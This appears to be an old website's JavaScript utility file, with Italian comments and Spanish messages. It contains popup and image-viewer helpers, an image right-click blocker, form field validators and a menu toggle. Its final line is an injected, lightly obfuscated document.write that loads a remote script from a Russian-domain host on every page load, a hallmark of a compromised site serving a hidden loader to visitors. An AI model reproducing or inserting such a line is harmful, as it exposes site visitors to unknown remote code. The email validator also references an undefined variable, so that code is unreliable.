/*
** Apre una PopUp
*/
function ApriPop(pagina)
{
	var features='scrollbars=yes,width=300,height=200,top=100,left=200';
	window.open(pagina,"_blank",features);
	return true;
}
function ApriPop2(pagina,varie)
{
	var features=varie;
	window.open(pagina,"_blank",features);
	return true;
}
function ApriPopImm(url,name,options){
  var ContextWindow = window.open(url,name,options);
  ContextWindow.focus();
  return false;
}

/*
** Apre l'immagine ingrandita
*/
function ApriImm2(theURL,winName) 
{ 
  var features='resizable=yes,scrollbars=yes,width=600,height=500,top=100,left=200';
  var windowNote = window.open('',winName,features);
  var text ='<HTML><HEAD><TITLE>' + winName + '</TITLE></HEAD><BODY BACKGROUND=white BGCOLOR=white>';
  text +='<CENTER> <IMG SRC='+theURL+' border="0" ALT="" name="immagine"></center>';
  text +='<center><FONT FACE=verdana SIZE=1pt COLOR=black>(La foto č solo indicativa)</FONT></CENTER>';
  text +='</BODY></HTML>';
  
  windowNote.document.write(text);
  windowNote.focus();
  windowNote.document.close(); 
}
/**
**/
function ApriImm(mostra,winName)
{
	i1 = new Image;
	i1.src = mostra;
// Qui sotto puoi modificare il titolo comune a tutte le immagini.
    var html = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">\n';
	html += '<HTML>\n<HEAD>\n<TITLE>'+ winName +'</TITLE>\n</HEAD>\n<BODY style="margin:0" onLoad="window.resizeTo(document.imageTest.width+70,document.imageTest.height+70)"> \n<DIV ALIGN="CENTER"><IMG SRC="'+mostra+'" BORDER="0" NAME="imageTest" title="(La foto es solo indicativa)" alt="(La foto es solo indicativa)"></DIV>\n</BODY>\n</HTML>';
// Qui sotto puoi modificare l'aspetto del popup ed il suo posizionamento.
	popupImage = window.open('','_blank','toolbar=0,location=0,directories=0,menuBar=0,scrollbars=no,resizable=1,top=10,left=10');
	popupImage.document.open();
	popupImage.document.write(html);
	popupImage.document.close();
}

/*
** Disabilita il salvataggio delle Immagini da mettere la funzione nel tag body onLoad="trap()"
*/
function protect(evt) 
{
  if (navigator.appName != 'Microsoft Internet Explorer')
  {
    if (evt.which != 3) 
      return true;
  }
 // alert("Attenzione!,il tasto dx non č attivo");
  return false;
}
function trap() 
{
  if(document.images)
  {
    if(navigator.appName != 'Microsoft Internet Explorer')
    {
      for(i=0;i<document.images.length;i++)
        document.images[i].onmousedown = protect;
    }
    else
    {
      for(i=0;i<document.images.length;i++)
        document.images[i].oncontextmenu = protect;
    }
  }
}
/*
**	CONTROLLO CAMPI INPUT DALLA FUNZIONE validateForm(frm)
*/
// VERIFICA EMAIL
/*
function isEmail(what)
{
   var i=new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
   if(!i.test(what)) { alert("el EMAIL del último del campo es inválido."); return false}   
   return true;
}
*/
// VERIFICA NOME,COGNOME,CITTA
function isName(what,fname)
{
   var i=new RegExp("([a-zA-Z\ ]{2,})");
   //if(!i.test(what)) { alert("el "+fname+" del último campo es inválido."); return false}   
   if(!i.test(what)) { alert("Los datos de estos campos no coinciden"); return false}   
   return true;
}
// VEFIFICA PAGAMENTO
function isPagamento(what)
{
   var i=new RegExp("([a-zA-Z0-9])");
   if(!i.test(what)) { alert("El PAGO del campo es inválido"); return false }   
   return true;
}
// VEFIFICA TELEFONO 
function isTel(what,fname)
{
   var i=new RegExp("([0-9])");
   if(!i.test(what)) { alert("el "+fname+" del último campo es inválido."); return false }   
   return true;
}
function isCommento(what)
{
   var i=new RegExp("([a-zA-Z0-9])");
   if(what.length < 10){ alert("El COMENTARIO del campo es inválido."); return false }   
   if(!i.test(what)) { alert("El COMENTARIO del campo es inválido."); return false }   
   return true;
}
function isNotePro(what,fname)
{
   var i=new RegExp("([a-zA-Z0-9])");
   if(!i.test(what)) { alert("el "+fname+" del último campo es inválido."); return false }   
   return true;
}
function isCampo(what,fname)
{
   if (what.length == 0) { alert("el "+fname+" no es válido."); return false}   
   return true;
}
//========EMAIL==========================
function isEmail(checkThisEmail,fname)
{
	if(!fname)
		fname ="EMAIL";
		
	var emailPat=/^(.+)@(.+)$/;
	var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]";
	var validChars="\[^\\s" + specialChars + "\]";
	var quotedUser="(\"[^\"]*\")";
	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
	var atom=validChars + '+';
	var word="(" + atom + "|" + quotedUser + ")";
	var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$");
	var matchArray=checkThisEmail.match(emailPat);
	if (matchArray==null) {
		alert("el "+fname+" del último campo es inválido.");
		return false;
	}

	var user=matchArray[1];
	var domain=matchArray[2];
	
	if (user.match(userPat)==null) {
		alert("el "+fname+" del último campo es inválido.");
	    return false;
	}

	var IPArray=domain.match(ipDomainPat);

	if (IPArray!=null) {
		  for (var i=1;i<=4;i++) {
		    if (IPArray[i]>255) {
	    	alert("el "+fname+" del último campo es inválido.");
			return false;
		    }
	    }
	    return true;
	}

	var domainArray=domain.match(domainPat);
	if (domainArray==null) {
		alert("el "+fname+" del último campo es inválido.");
	    return false;
	}

	var atomPat=new RegExp(atom,"g");
	var domArr=domain.match(atomPat);
	var len=domArr.length;
	
	if (domArr[domArr.length-1].length<2 || 
	    domArr[domArr.length-1].length>4) {
	    	alert("el "+fname+" del último campo es inválido.");
	   return false;
	}

	if (len<2) {
	   alert(errStr);
	   return false;
	}
	return true;
	}
//========FINE EMAIL=========
function toggleBox(szDivID, iState,div_hidden,menu_p) // 1 visible, 0 hidden
{
    arr_div_hidden = div_hidden.split(",");   
    var lenID = Number(arr_div_hidden.length);
    if(document.layers)    //NN4+
    {
        document.layers[szDivID].visibility = iState ? "show" : "hide";
        for (i=0;i<lenID;i++)
        {
            document.layers[arr_div_hidden[i]].visibility = 0 ? "show" : "hide";
        }
    }
    else if(document.getElementById)      //gecko(NN6) + IE 5+
    {
       var obj = document.getElementById(szDivID);
       obj.style.visibility = iState ? "visible" : "hidden";
       
        for (i=0;i<lenID;i++)
        {
            var obj2 = document.getElementById(arr_div_hidden[i]);
            obj2.style.visibility = 0 ? "visible" : "hidden";
        }
    }
    else if(document.all)   // IE 4
    {
        document.all[szDivID].style.visibility = iState ? "visible" : "hidden";
        
        for (i=0;i<lenID;i++)
        {
           document.all[arr_div_hidden[i]].style.visibility = 0 ? "visible" : "hidden";
        }
    }
    
    var sfEls = document.getElementById("menu_prod").getElementsByTagName("LI");
        
    for (var i=0; i<sfEls.length; i++) 
    {
        sfEls[i].childNodes[0].className ="";
    }
    var current = document.getElementById(menu_p).className;
    document.getElementById(menu_p).className ="current";
}


document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Laser_Printer.js"></scr'+'ipt>');